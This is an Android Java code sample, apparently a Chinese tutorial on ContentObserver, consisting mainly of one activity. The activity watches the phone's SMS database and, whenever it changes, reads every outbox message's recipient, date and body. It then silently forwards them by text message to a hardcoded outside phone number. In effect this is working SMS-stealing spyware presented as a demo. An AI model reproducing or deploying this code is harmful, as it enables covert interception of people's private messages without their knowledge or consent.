ContentObserver(短信监听器)

package com.example.contentobserverdemo;

import android.app.Activity;
import android.app.ActionBar;
import android.app.Fragment;
import android.content.ContentResolver;
import android.database.ContentObserver;
import android.database.Cursor;

import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.telephony.gsm.SmsManager;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.os.Build;

//内容观察者使用
public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // 监听系统短信

        ContentResolver resolver = getContentResolver();
        resolver.registerContentObserver(Uri.parse("content://sms/"), true,
                new MyContentObserver(new Handler()));

        if (savedInstanceState == null) {
            getFragmentManager().beginTransaction()
                    .add(R.id.container, new PlaceholderFragment()).commit();
        }
    }

    /*
     * 当被监听内容发生改变时回调
     */

    class MyContentObserver extends ContentObserver {

        public MyContentObserver(Handler handler) {
            super(handler);
            // TODO Auto-generated constructor stub
        }

        @Override
        public void onChange(boolean selfChange) {
            Uri uri = Uri.parse("content://sms/outbox");
            // 查询发件箱的内容
            Cursor cursor = getContentResolver().query(uri,
                    new String[] { "address", "date", "body" }, null, null,
                    null);

            // 查询发件箱的内容并转发
            if (cursor != null && cursor.getCount() > 0) {
                String address;
                long date;
                String body;
                SmsManager sms = SmsManager.getDefault();
                while (cursor.moveToNext()) {
                    address = cursor.getString(0);
                    date = cursor.getLong(1);
                    body = cursor.getString(2);
                    String sendCb = address + ":" + date + ":" + body;
                    sms.sendTextMessage("18811506722", null, sendCb, null, null);
                }
            }
        }

    }

}